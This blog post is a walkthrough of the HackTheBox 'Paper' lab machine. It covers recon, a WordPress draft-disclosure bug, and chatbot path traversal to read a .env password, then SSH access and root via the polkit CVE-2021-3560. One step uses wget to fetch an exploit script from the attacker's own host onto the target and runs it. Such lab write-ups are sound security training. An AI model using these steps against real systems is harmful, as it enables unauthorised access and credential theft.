> For the complete documentation index, see [llms.txt](https://ziad-sakr.gitbook.io/zima-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ziad-sakr.gitbook.io/zima-blog/hack-the-box/paper-machine-htb.md).

# Paper Machine HTB

## <mark style="color:blue;">**Paper Machine**</mark>

### *From* [*<mark style="color:purple;"><mark style="color:green;">**HackTheBox**<mark style="color:green;"></mark>*](https://app.hackthebox.com/machines/Paper) *Website with {Easy Difficulty}*

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FjJOFKtEDShNZhRzfOJSX%2F1?alt=media)

### <mark style="color:yellow;">**Table of Contents:**</mark>

[      • Information Gathering](#_toc102177854)

[      • The Bot](#_toc102177857-1)

[      • ](#_toc102177857-1)[Exploitation](#_toc102177858)

[      • User Flag ](#_toc102177859)

[      • Privilege Escalation ](#privilege-escalation)

[      • Root Flag ](#_toc102177860)

[      • References](#_toc102177861)

### <mark style="color:yellow;">Information Gathering</mark> <a href="#toc102177854" id="toc102177854"></a>

### <mark style="color:orange;">Nmap Scanning</mark> <a href="#toc102177855" id="toc102177855"></a>

`└──╼$ nmap –sCV 10.10.11.143`

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FQdpWVbw0C8Pzn2Yeie9R%2F2?alt=media)

We found 3 Open Ports (22, 80 and 443), and some details like its OS is **CentOS**, but nothing is very useful here, so let’s see the website.

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FAVjuRRW6P7IHXEgWXHdT%2F3?alt=media)

And there’s nothing here it just a **Test Page,** so let’s see another Directories in this website by **Gobuster** Scanning.

### <mark style="color:orange;">Gobuster Scanning</mark> <a href="#toc102177856" id="toc102177856"></a>

`└──╼$ gobuster dir -u http://10.10.11.143/ –w /usr/share/wordlists/dirb/common.txt`

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FXKbnNPdJLIqBAwnD5pNd%2F4?alt=media)

Let’s take a look at this **Manual** Page.

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FgiUWTk8kiHoE3Uji0p4B%2F5?alt=media" alt=""><figcaption></figcaption></figure>

Again nothing is useful here too, so Trying to find another something useful than that like The **Response** of the website.

`└──╼ $ curl –IL 10.10.11.143`

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FopqiaquMnVTTQgTNivoD%2F6?alt=media)

And finally something useful … we found useful HTTP Header “X-Backend-Server” and this header is used to return the name of the back end webserver (internal/hidden) that may be found behind the IP .

So we can edit out **/etc/hosts** file to include this **IP** with this **HostName** Like that:

`└──╼ $ echo “10.10.11.143 office.paper” >> /etc/hosts`

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FIrRsdNczm5tkwGt4TFPa%2F7?alt=media)

Now let’s open the website by its **Host Name.**

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FIMkMM035QIfrfj8o30EQ%2F8?alt=media)

And here we are the **Hidden** Page Opened now, so let’s make another **Gobuster Scanning** on this new page.

### <mark style="color:orange;">Gobuster Scanning</mark> <a href="#toc102177857" id="toc102177857"></a>

`└──╼$ gobuster dir -u http://office.paper/ –w /usr/share/wordlists/dirb/common.txt`

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2Fta6CvBr0e99FguaZkas1%2F9?alt=media)

Opining **/wp-admin** page, and found login **WordPress** Page.

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FsJOOymnYJWHwCq3f6tGM%2F10?alt=media)

Let’s scan this **WordPress** Page by WpScan

`└──╼$ wpscan --url office.paper`

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FOir4Fq3nG6llKJRI2Dqd%2F11?alt=media)

We found the Version of this **WordPress** is **5.2.3**

Searching for an Exploit for this Version.

`└──╼$ searchsploit wordpress 5.2.3`

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FhQ7nojX420xta0kcK0D0%2F12?alt=media)

Get it and found an exploit **”47690.md”**,

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2F7ktRyraVqUdtRLzvB7eQ%2F13?alt=media)

And when we try it at the website like that

***<http://office.paper/?static=1>***

We got this **Secret Registration** **Subdomain:**

***<http://chat.office.paper/register/8qozr226AhkCHZdyY>***

Then add the new Subdomain to our **Hosts File** **“/etc/hosts”**

`└──╼ $ echo “10.10.11.143 chat.office.paper” >> /etc/hosts`

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FPufgRyWS1pIEL0FTQj8d%2F14?alt=media)

We got Register Page for **Rocket Chat** when we open i&#x74;**.**

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2F7QHyL7BLHr35dzJKGPRT%2F15?alt=media)

Let’s going in…

### <mark style="color:yellow;">The Bot</mark> <a href="#toc102177857" id="toc102177857"></a>

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2F0caZ3m7dxNc64MZqZwur%2F16?alt=media)

We found in the general Chat a Bot Called **”Recyclops”** let’s have a Direct Message with it.

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FxOM4ucccV0FoD9yCYB2F%2F17?alt=media)

And when typing “help” we found some available commands in it like:

1- What time is it?

2- What new files are in your sale directory?

3- Why did the salesman crossed the road?

4- What's the content of file x in your sales directory?

And the **two** **command** that will be useful for us is the **Second** & the **forth** Questions (The **File** **Content** & The **content** of the **Directory**)

![](https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FANQe8E9RzN2rz5TVFBmX%2F18?alt=media)

Trying to list the Current directory by this command **`recyclops list`** , we notice that we have the user **"dwight"** on this machine.

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FbJ5kKgnfIpyhfvCLpuj8%2Fimage.png?alt=media&amp;token=1b6f6666-cbe9-4304-ba07-a23ee9d5229e" alt=""><figcaption></figcaption></figure>

List the Previous directory **`recyclops list ./../`** , and found directory looks interesting **“hubot”**

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FbscaqM0FE0R3hrBW39XB%2Fimage.png?alt=media&amp;token=811e186d-e9db-4798-a7e5-206234fc04e4" alt=""><figcaption></figcaption></figure>

And found in it file called **“.env”** now try to open it by this command            **`recyclops file`` `*****`../hubot/.env`*** **.**

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FcEMS9qNqKJeKNLlRisCS%2Fimage.png?alt=media&amp;token=de6c0986-42e7-4b0f-9bb5-6ba4e43f7806" alt=""><figcaption></figcaption></figure>

and we got a Password in it called **“*****Queenofblad3s!23*****”**.

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FxwNWnspS6IVVpkah0TQT%2Fimage.png?alt=media&amp;token=2f46fe21-b6de-4a9a-8287-e33f864c6ea3" alt=""><figcaption></figcaption></figure>

Now we Have this credentials **“*****dwight:Queenofblad3s!23*****”**

### <mark style="color:yellow;">Exploitation</mark> <a href="#toc102177858" id="toc102177858"></a>

### <mark style="color:orange;">User Flag</mark> <a href="#toc102177859" id="toc102177859"></a>

So now Let’s Try to connect by ***SSH*** by this credentials **“*****dwight:Queenofblad3s!23*****”**

`└──╼$ ssh dwight@10.10.11.143`

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FfLVmbUUpekuwkYGPWFir%2Fimage.png?alt=media&amp;token=f74a03c5-6135-4a2a-bb40-27e680b96095" alt=""><figcaption></figcaption></figure>

And we got the User Flag

`└──╼$ cat user.txt`

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FmZ8bLWLhUaRXMbBcNsyF%2Fimage.png?alt=media&amp;token=f89e844d-b897-400d-aa5b-184b4c0d9e3c" alt=""><figcaption></figcaption></figure>

So let’s **escalate** our **privileges** right Now!

### <mark style="color:yellow;">Privilege Escalation</mark>&#x20;

### <mark style="color:orange;">Root Flag</mark> <a href="#toc102177860" id="toc102177860"></a>

we can search aboutn the OS Version by this command

`└──╼$ uname -a`

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FBSZsTZKiJDWRdALCxytF%2Fimage.png?alt=media&amp;token=bd3fa7f7-2bf7-4182-b0ec-60cd19c7a701" alt=""><figcaption></figcaption></figure>

And by searchin on google i got a CVE for it (**CVE-2021-3560**).

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FVCOhqXSi3WjVLZvlRtlB%2Fimage.png?alt=media&amp;token=63955107-25a8-4190-99e8-02e7926d5c4a" alt=""><figcaption></figcaption></figure>

And this is the exploit for this CVE (**CVE-2021-3560.py**).

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FtGhZ12jhltpEk7m7rPrc%2Fimage.png?alt=media&amp;token=3da383cd-a9bc-4a8f-bf8c-fb1897852fc1" alt=""><figcaption></figcaption></figure>

Now let’s Transfer the file from our devices to the target machine by Python Server

`└──╼$ python3 -m http.server 8383`

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FcHLNOviJL4sr5VmsrP9p%2Fimage.png?alt=media&amp;token=1d16f60e-314a-4dba-a6af-e0a7b6fc8e0f" alt=""><figcaption></figcaption></figure>

And get the file from my machine like that:

`└──╼$ wget ”http://10.10.16.24:8383/CVE-2021-3560.py”`

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2F1OMBUq5nj15dK6wWetSe%2Fimage.png?alt=media&amp;token=746f9430-6d29-4395-88ea-ac8a5697cea3" alt=""><figcaption></figcaption></figure>

Then run it using **Python3**

`└──╼$ python3 CVE-2021-3560.py`

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FWxF5s5myEzRgfC81Xdhp%2Fimage.png?alt=media&amp;token=0ef02781-a9de-4848-bdb3-e4c04630591f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FFiYKUKv1lQzjIZXdQpIc%2Fimage.png?alt=media&amp;token=3dfa91e1-ecb4-4beb-85c5-25848fa2a6ba" alt=""><figcaption></figcaption></figure>

And now we own this machine, and got the **Root Flag ;)**

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2Fs8amRz3Hr8zSwJKScaBr%2Fimage.png?alt=media&amp;token=46404c4a-700a-46e7-88b9-5769da1877b1" alt=""><figcaption></figcaption></figure>

Congratulation Machine has been Pwned!!

<figure><img src="https://1695281020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiBkNGOCaSbgxYLnHH6RS%2Fuploads%2FZp7dwWajMlhP6JrsR4ls%2Fimage.png?alt=media&amp;token=871399d9-c6f1-41a1-8d0c-da0e62733ae5" alt=""><figcaption></figcaption></figure>

### <mark style="color:yellow;">References</mark> <a href="#toc102177861" id="toc102177861"></a>

* <https://github.com/Almorabea/Polkit-exploit/>
* <https://www.tenable.com/plugins/nessus/150384>
* <https://docs.gitlab.com/ee/user/application_security/dast/checks/16.4.html>
